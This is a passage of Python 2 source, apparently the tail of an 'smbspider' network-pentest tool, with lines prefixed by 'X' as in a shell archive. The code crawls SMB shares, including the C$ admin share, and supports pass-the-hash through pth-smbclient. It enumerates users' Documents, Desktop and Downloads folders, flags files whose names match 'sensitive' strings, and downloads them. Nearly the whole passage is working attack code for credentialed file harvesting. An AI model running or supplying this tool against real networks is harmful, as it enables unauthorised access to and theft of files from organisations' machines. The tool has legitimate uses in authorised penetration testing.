self.skip_host == host: X self.blacklisted.append(host) X break X self.smb_host = host X self.smb_share = share X tmp_share = tmp_share.replace(self.smb_host,"") X tmp_share = tmp_share.replace("smb:///","") X if len(tmp_share) == 0 and (self.smb_share != "profile" and len(self.smb_share) == 0): X print empty_share_error % self.smb_host X continue X if len(self.list_of_shares) > 1: X for x in self.list_of_shares: X self.smb_share = x X print "\n [*] Attempting to spider smb://%s/%s" % (self.smb_host, self.smb_share.replace("profile","")) X self.spider_host() X else: X print "\n [*] Attempting to spider smb://%s/%s " % (self.smb_host, self.smb_share.replace("profile","")) X self.spider_host() X if self.list_of_shares[0] == "profile": X if self.inputfile: X print " [*] Finished with smb://%s/. [Remaining: %s] " % (self.smb_host, str(len(self.list_of_hosts)-self.total_hosts-1)) X else: X print " [*] Finished with smb://%s/. [Remaining: %s] " % (self.smb_host, str(len(self.list_of_hosts)-self.total_hosts)) X else: X print " [*] Finished with smb://%s/%s. [Remaining: %s] " % (self.smb_host, self.smb_share, str(len(self.list_of_hosts)-self.total_hosts)) X if self.smb_download: self.start_downloading() X X def start_downloading(self): X if len(self.sensitive_strings) == 0: return X print "\n" + colors.blue + " [*] " + colors.norm + "Attempting to download files that were deemed sensitive." X if not os.path.exists('smbspider-downloads'): X os.makedirs('smbspider-downloads') X for f in self.file_locations: X host = f[2:] X host = str(host[:host.find("\\")]) X share = f[len(host)+3:] X share = share[:share.find("\\")] X full_path = f.replace("\\\\%s\\%s\\" % (host, share), "").strip() X file_name = full_path[full_path.rfind("\\")+1:] X for s in self.sensitive_strings: X if s in file_name: X result = commands.getoutput("%s -c \"get \\\"%s\\\" \\\"%s_%s\\\"\" //%s/%s -U %s " % (self.smbclient(), full_path.replace("\\","\\\\"), \ X host,file_name, host, share, self.credentials)) X print colors.blue + " [*] " + colors.norm + "Downloaded: %s from smb://%s/%s" % (file_name, host, share) X commands.getoutput("mv \"%s_%s\" \"smbspider-downloads/%s\"" % (host, file_name, host, file_name)) X else: X temp_file = s.split("*") X all_match = 0 X for tmp in temp_file: X if tmp in full_path: X all_match = 1 X else: X all_match = 0 X break X if all_match == 1: X result = commands.getoutput("%s -c \"get \\\"%s\\\" \\\"%s_%s\\\"\" //%s/%s -U %s " % (self.smbclient(), full_path.replace("\\","\\\\"), \ X host,file_name, host, share, self.credentials)) X print colors.blue + " [*] " + colors.norm + "Downloaded: %s from smb://%s/%s" % (file_name, host, share) X commands.getoutput("mv \"%s_%s\" \"smbspider-downloads/%s_%s\"" % (host, file_name, host, file_name)) X X def parse_result(self, result): X ############################################################ X # this small section removes all of the unnecessary crap. a bit ugly, i know! :x X errors = ["O_SUCH_F","ACCESS_DEN", X"US_OBJECT_NAME_IN", "US_INVALID_NETWORK_RE", "CT_NAME_NOT", X"not present","CONNECTION_REFUSED" X ] X result = result.split('\n') X purge = [] X trash = [" . ", " .. ", "Domain=", " D", "blocks of size", X"wrapper called", "Substituting user supplied"] X for num in range(0,len(result)): X for d in trash: X if d in result[num] or len(result[num]) < 2: X purge.append(num) X purge = list(set(purge)) X purge = sorted(purge, reverse=True) X for i in purge: X del result[i] X ############################################################ X directory = "" X filename = "" X file_locations = [] X file_change = False X for x in result: X if x[0] == "\\": X directory = x X file_change = False X else: X filename = x[2:] X filename = filename[:filename.find(" ")] X file_change = True X fail = 0 X if not file_change: continue X for error in errors: X if error in filename: X fail = 1 X if fail == 0 and len(filename) > 0: X if not self.outputfile: X file_complete_path = "\\\\%s\%s" % (self.smb_host,self.smb_share) + directory + "\\" + filename X print colors.blue + " [*] " + colors.norm + file_complete_path X else: X if not os.path.exists('smbspider'): X os.makedirs('smbspider') X X if self.profile: X lawl_share = "profile" X else: X lawl_share = self.smb_share X output = open("smbspider/smbspider_%s_%s_%s.txt" % (self.smb_host, lawl_share, self.credentials.split()[0]), 'a') X file_complete_path = colors.blue + " [*] " + colors.norm + "\\\\%s\%s" % (self.smb_host,lawl_share) + directory + "\\" + filename + "\n" X output.write(file_complete_path) X output.close() X if self.smb_download: X self.file_locations.append(file_complete_path[file_complete_path.find("\\\\"):]) X X def fingerprint_fs(self): X result = commands.getoutput("%s -c \"ls Users\\*\" //%s/C$ -U %s" % (self.smbclient(), self.smb_host, self.credentials)).split() X if self.check_errors(result[-1]): X return "error" X if "NT_STATUS_OBJECT_NAME_NOT_FOUND" in result: X return "old" X else: X return "new" X X def find_users(self, result): X result = result.split('\n') X purge = [] X users = [] X for num in range(0,len(result)): # cleans some stuff up a bit. X if " . " in result[num] or " .. " in result[num] or "Domain=" in result[num]\ X or len(result[num]) < 2 or "blocks of size" in result[num]: X purge.append(num) X purge = sorted(purge, reverse=True) X for i in purge: X del result[i] X X #clean up users list a little bit X for i in result: X user = i[:i.find(" D")] X user = user[2:user.rfind(re.sub(r'\W+', '', user)[-1])+1] X users.append(user) X return users X X def check_errors(self, result): X access_error = { X"UNREACHABLE":" [-] Error [%s]: Check to ensure that host is online and that share is accessible." % self.smb_host, X"UNSUCCESSFUL":" [-] Error [%s]: Check to ensure that host is online and that share is accessible." % self.smb_host, X"TIMEOUT":" [-] Error [%s]: Check to ensure that host is online and that share is accessible." % self.smb_host, X"LOGON_SERVER":" [-] Error %s Cannot contact logon server. Skipping host." % self.smb_host X} X for err in access_error: X if err in result: X print colors.red + access_error[err] + colors.norm X self.skip_host = self.smb_host X return True X X X if "LOGON_FAIL" in result.split()[-1] and not self.ignorecheck: X print colors.red + " [-] " + colors.norm + "Error [%s]: Invalid credentials. Please correct credentials and try again." % self.smb_host X exit() X elif "ACCESS_DENIED" in result.split()[-1]: X print colors.red + " [-] " + colors.norm + "Error [%s]: Valid credentials, but no access. Try another account." % self.smb_host X elif "BAD_NETWORK" in result.split()[-1] or "CONNECTION_REFUSED" in result.split()[-1]: X print colors.red + " [-] " + colors.norm + "Error: Invalid share -> smb://%s/%s" % (self.smb_host,self.smb_share) X return True X X X def smbclient(self): X if self.pth: X return "pth-smbclient" X else: X return "smbclient" X X def spider_host(self): X if self.smb_share.lower() == "profile": X self.smb_share = "C$" X self.profile = True X if self.fingerprint_fs() == "error": X return X elif self.fingerprint_fs() == "old": X folders = ['My Documents','Desktop','Documents'] X result = commands.getoutput("%s -c \"ls \\\"Documents and Settings\\*\" //%s/C$ -U %s" % (self.smbclient(), self.smb_host, self.credentials)) X if self.check_errors(result): X return X users = self.find_users(result) X for user in users: X for folder in folders: X result = commands.getoutput("%s -c \"recurse;ls \\\"Documents and Settings\\%s\\%s\" //%s/C$ -U %s"\ X % (self.smbclient(), user, folder, self.smb_host, self.credentials)) X self.parse_result(result) X else: X folders = ['Documents','Desktop','Music','Videos','Downloads','Pictures'] X result = commands.getoutput("%s -c \"ls \\\"Users\\*\" //%s/C$ -U %s" % (self.smbclient(), self.smb_host, self.credentials)) X if self.check_errors(result): X return X users = self.find_users(result) X for user in users: X for folder in folders: X result = commands.getoutput("%s -c \"recurse;ls \\\"Users\\%s\\%s\" //%s/C$ -U %s" % (self.smbclient(), user, folder, self.smb_host, self.credentials)) X self.parse_result(result) X else: X result = commands.getoutput("%s -c \"recurse;ls\" \"//%s/%s\" -U %s" % (self.smbclient(), self.smb_host, self.smb_share, self.credentials)) X if self.check_errors(result): X return X self.parse_result(result) X Xif __name__ == "__main__": X try: X start(argv[1:]) X except KeyboardInterrupt: X print "\nExiting. Interrupted by user (ctrl-c)." X exit() X except Exception, err: X print err X exit() X Xprint "\n-----" Xprint "Completed in: %.1fs" % (time.time() - start_time) c3882b554c495d03c995e40c511f8521 exit